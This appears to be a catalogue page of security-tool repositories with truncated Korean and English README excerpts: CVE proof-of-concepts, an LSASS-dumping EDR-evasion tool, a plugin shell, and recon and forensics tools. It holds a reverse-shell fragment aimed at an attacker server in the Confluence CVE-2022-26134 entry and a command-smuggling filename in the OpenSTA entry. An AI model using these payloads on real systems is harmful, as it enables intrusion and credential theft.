flask-session-cookie-manager

Flask 세션 쿠키 디코더/인코더 원저자 : Wilson Sumanang 수정 및 개선 저자 : Alexandre ZANNI 출처 : saruberoz.github.io 종속성 Python 2 또는 Python 3 itsdangerous Flask 설치 패키지 BlackArch Linux pacman -S flask-session-cookie-manager3,2 Git ArchLinux Python 3 및 Python 2 모두: git clone...

flask-session-cookie-manager

Flask Session Cookie Decoder/Encoder Original author : Wilson Sumanang Fixes and improvements author : Alexandre ZANNI Imported from saruberoz.github.io Depencencies Python 2 or Python 3 itsdangerous Flask Installation Package BlackArch Linux pacman -S flask-session-cookie-manager3,2 Git ArchLinu...

CheatSheetSeries

Welcome to the OWASP Cheat Sheet Series Welcome to the official repository for the Open Worldwide Application Security Project® OWASP Cheat Sheet Series project. The project focuses on providing good security practices for builders in order to secure their applications. In order to read the cheat...

CVE-2026-67599_ClearOS_RCE

로그 뷰어 필터 매개변수의 OS 명령 주입 패키지: ClearFoundation 테스트된 버전: ClearOS 7.9.1.342252 취약점 유형: OS 명령 주입 CWE-78 심각도: 높음 CVE : CVE-2026-67599 CVSS v3.1 벡터: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H 점수: 7.2 이 CVE-2026-67599를 대신해 할당하고 추적하는 데 도움을 주신 VulnCheck에 감사드립니다. 제품 설명 ClearOS는 CentOS/RHEL 기반으로 구축된 운영 체제로...

CVE-2026-35585-poc

CVE-2026-35585: File Browser OS 명령 인젝션 PoC English version 개요 이 리포지토리는 File Browser버전 2.0.02.33.1에서 발견된 중대한 OS 명령 인젝션 취약점 CVE-2026-35585 의 Proof of ConceptPoC입니다. 이 취약점은 "Custom Command Hooks" 기능에 존재합니다. 셸 실행 시 $FILE이나 $USERNAME 등의 환경 변수가 충분히 샌니타이즈되지 않기 때문에, 파일 업로드 권한이 있는 인증된 사용자는 악의적인 파일명을 이용해 호...

ColdWer

엔드포인트에서의 냉전 🥶 ColdWer ColdWer 는 WerFaultSecure.exe PPL 우회를 활용하여 최신 Windows 시스템에서 EDR/AV 프로세스를 정지시키고 LSASS 메모리를 덤프합니다. C O L D W E R └─┴─┴── WerFaultSecure └─┴──────── LSASS Dump └─┴──────────── Cold Freeze EDR/AV를 정지시키고 필요한 것을 추출하세요. 차갑게 유지하세요. 👤 Author Sh3llf1r3 @0xsh3llf1r3 🙏 Credits 이 프로젝트는...

KnockKnock

이 저장소는 보관되었습니다 KnockKnock의 최신 버전을 보거나 이슈를 제출하려면 https://github.com/waffl3ss/KnockKnock을 참조하세요. KnockKnock - v0.9.9 README를 실제로 활용하시기 바랍니다. OneDrive 및/또는 Microsoft Teams를 쿼리하여 잠재적인 사용자 이름을 검증하도록 설계되었으며, 이는 수동적 방법입니다. Microsoft Teams 열거를 통해 식별된 레거시 Skype 사용자의 목록을 출력/생성할 수 있습니다. 또한 Teams에서 가용성, 장치 유...

CVE-2022-26134

CVE-2022-26134 원격 공격자는 인증 없이 OGNL 표현식을 구성하여 주입하고, Confluence Server 또는 Data Center에서 임의의 코드를 실행할 수 있습니다. poc를 수정하여 getshell을 쉽게 합니다. 일반 포트: 8090 영향받는 버전 Confluence Server and Data Center = 1.3.0 7.14.0 & /dev/tcp/vps ip/vps port 0&1...

Firmware_Slap

Firmware Slap Firmware slap combines concolic analysis with function clustering for vulnerability discovery and function similarity in firmware. Firmware slap is built as a series of libraries and exports most information as either pickles or JSON for integration with other tools. Slides from the...

pbtk

pbtk - Reverse engineering Protobuf apps Protobuf is a serialization format developed by Google and used in an increasing number of Android, web, desktop and more applications. It consists of a language for declaring data structures , which is then compiled to code or another kind of structure...

SSCMS-PluginShell

VisualStudio 설치 2. 이 프로젝트 가져오기 3. Startup.cs 파일에서 IPAddress.Parse 값 수정 using Microsoft.Extensions.DependencyInjection; using SSCMS.Advertisement.Abstractions; using SSCMS.Advertisement.Core; using SSCMS.Plugins; using System.Diagnostics; using System; using System.Text; using System.Net.Sockets;...

inter-recon

inter-recon Script to perform automatic initial web and vulnerability recon. It has some checks in case of errors. There is a possibility to skip some checks, to restart them and/or to continue with the last point you stopped. This is because sometimes there are network issues like time limit on...

OpenSTA-Exploit

OpenSTA-Exploit Data| Detail ---|--- CVE ID| CVE-2025-69212 Vuln Score| critical 9.4 CWE| 78: Improper Neutralization of Special Elements used in an OS Command Affected Versions| OpenSTAManager ' SHELL.php" maliciousfile = f'invoice.p7m";cmd;echo "...

holo

Holo is a suite of routing protocols designed to support high-scale and automation-driven networks. For a description of what a routing protocol is, please refer to this Wikipedia page. You can try Holo in your browser, without installing anything, at Holo Lab. Features Focus on simplicity and...

uac

Unix-like Artifacts Collector UAC About • Documentation • Main Features • Supported Operating Systems • Usage • Contributing • Support • License 🔎 About UAC UAC Unix-like Artifacts Collector is a powerful and extensible incident response tool designed for forensic investigators, security analysts...

airpydump

airpydump Analyze Wireless Packets on the fly. Currently supporting three working Modes Reader, Live, Stealth Description airpydump is a wireless packet analyzer, providing the interface most likely that of airodump-ng from aircrack suite. It currently provides three working modes which are Reade...

threatbox

Threatbox - 표준 공격 플랫폼 ThreatBox는 표준화되고 제어된 Linux 기반 공격 플랫폼입니다. 저는 이 플랫폼의 버전을 수년간 사용해 왔습니다. 처음에는 스크립트 모음으로 시작했으며, 롤링 가상 머신으로 유지되다가, Linux ISO를 빌드하는 코드로 존재했고, 이제는 ansible 플레이북 세트로 변환되었습니다. 왜 Ansible일까요? 왜 안 될까요? 이것이 표준 공격 플랫폼 구성의 다음 자연스러운 진화처럼 보였습니다. 이 프로젝트는 ansible 플레이북과 역할을 사용하여 Linux 대상Ubuntu...

threatbox

Threatbox - Standard Attack Platform ThreatBox is a standard and controlled Linux based attack platform. I've used a version of this for years. It started as a collection of scripts, lived as a rolling virtual machine, existed as code to build a Linux ISO, and has now been converted to a set of...

Linux-Kodachi

Kodachi OS A hardened, privacy-focused Linux distribution built on Debian. Failover VPN, Tor routing, DNSCrypt, a kill switch and anti-forensic tooling, pre-wired and working from first boot. !IMPORTANT Kodachi 10 is stable. Kodachi 10.0.3, code name Dragon, was released on 27.09.2026. It is the...

Invoke-ADEnum

Invoke-ADEnum Active Directory Auditing and Enumeration Invoke-ADEnum is an auditing and enumeration tool designed to automate the collection of information from an Active Directory environment. One of the features of Invoke-ADEnum is its ability to generate an Active Directory Audit Report in HT...